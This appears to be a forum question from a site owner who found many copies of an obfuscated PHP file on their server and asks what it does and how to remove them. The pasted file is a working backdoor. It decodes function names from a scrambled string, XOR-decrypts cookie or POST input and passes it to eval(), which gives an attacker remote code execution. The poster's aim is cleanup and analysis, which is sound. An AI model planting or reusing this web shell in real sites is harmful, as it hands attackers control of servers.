Can someone please help me understand this code, what it does and what kind of encoding is it? Can this be automatically removed through ssh (there are many, many more similar files found).
<?php
$zvqhai = 'k-98i3v\'raxn*ycdml#u64_gebts2oH5pf';$npazfw = Array();$npazfw[] = $zvqhai[30].$zvqhai[12];$npazfw[] = $zvqhai[9].$zvqhai[24].$zvqhai[21].$zvqhai[15].$zvqhai[2].$zvqhai[21].$zvqhai[24].$zvqhai[15].$zvqhai[1].$zvqhai[33].$zvqhai[14].$zvqhai[24].$zvqhai[21].$zvqhai[1].$zvqhai[21].$zvqhai[21].$zvqhai[9].$zvqhai[3].$zvqhai[1].$zvqhai[25].$zvqhai[14].$zvqhai[25].$zvqhai[28].$zvqhai[1].$zvqhai[25].$zvqhai[25].$zvqhai[20].$zvqhai[3].$zvqhai[2].$zvqhai[15].$zvqhai[14].$zvqhai[2].$zvqhai[31].$zvqhai[28].$zvqhai[5].$zvqhai[31];$npazfw[] = $zvqhai[18];$npazfw[] = $zvqhai[14].$zvqhai[29].$zvqhai[19].$zvqhai[11].$zvqhai[26];$npazfw[] = $zvqhai[27].$zvqhai[26].$zvqhai[8].$zvqhai[22].$zvqhai[8].$zvqhai[24].$zvqhai[32].$zvqhai[24].$zvqhai[9].$zvqhai[26];$npazfw[] = $zvqhai[24].$zvqhai[10].$zvqhai[32].$zvqhai[17].$zvqhai[29].$zvqhai[15].$zvqhai[24];$npazfw[] = $zvqhai[27].$zvqhai[19].$zvqhai[25].$zvqhai[27].$zvqhai[26].$zvqhai[8];$npazfw[] = $zvqhai[9].$zvqhai[8].$zvqhai[8].$zvqhai[9].$zvqhai[13].$zvqhai[22].$zvqhai[16].$zvqhai[24].$zvqhai[8].$zvqhai[23].$zvqhai[24];$npazfw[] = $zvqhai[27].$zvqhai[26].$zvqhai[8].$zvqhai[17].$zvqhai[24].$zvqhai[11];$npazfw[] = $zvqhai[32].$zvqhai[9].$zvqhai[14].$zvqhai[0];foreach ($npazfw[7]($_COOKIE, $_POST) as $jgbht => $mbfusps){function dopvqef($npazfw, $jgbht, $dxflrm){return $npazfw[6]($npazfw[4]($jgbht . $npazfw[1], ($dxflrm / $npazfw[8]($jgbht)) + 1), 0, $dxflrm);}function awtsdc($npazfw, $wiuhpx){return @$npazfw[9]($npazfw[0], $wiuhpx);}function qjgaieb($npazfw, $wiuhpx){$vyaygn = $npazfw[3]($wiuhpx) % 3;if (!$vyaygn) {eval($wiuhpx[1]($wiuhpx[2]));exit();}}$mbfusps = awtsdc($npazfw, $mbfusps);qjgaieb($npazfw, $npazfw[5]($npazfw[2], $mbfusps ^ dopvqef($npazfw, $jgbht, $npazfw[8]($mbfusps))));}